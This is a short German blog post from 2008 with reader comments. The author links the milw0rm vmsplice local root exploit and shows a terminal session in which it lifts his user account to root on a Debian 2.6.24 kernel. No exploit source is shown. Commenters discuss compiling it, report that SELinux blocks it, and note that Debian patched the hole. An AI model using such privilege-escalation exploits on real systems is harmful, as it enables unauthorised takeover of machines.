root-exploit und der bim5elkernel
Februar 11, 2008
http://www.milw0rm.com/exploits/5092
funktioniert ohne probleme hier …
der aktuelle sid/trunk kernel …
konsumer@bim5el:~$ uname -a
Linux bim5el 2.6.24-1-486 #1 Mon Feb 11 01:33:24 UTC 2008 i686 GNU/Linux
und los gehts …
konsumer@bim5el:~$ id
uid=1000(konsumer) gid=1000(konsumer)
konsumer@bim5el:~$ ./test
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e44000 .. 0xb7e76000
[+] root
root@bim5el:~# id
uid=0(root) gid=0(root)
root@bim5el:~#
done
Februar 16, 2008 um 15:14 -- 1203174846
Mal ne dumme Frage: Wie übersetzt du das? Bei mir kommt mit gcc 4.1.2 nur Schrott raus, der nicht ausführbar ist (syntax error) und ich würde wirklich gerne testen, ob mir SELinux diesen Exploid vom Hals hält.
Februar 16, 2008 um 15:21 -- 1203175294
Ok, ich hab’s dann doch hinbekommen:
Ätsch! SELinux rocks!
Februar 16, 2008 um 15:27 -- 1203175641
ein tag später war ja das loch unter debian auch schon zu … hätt ich das sagen sollen?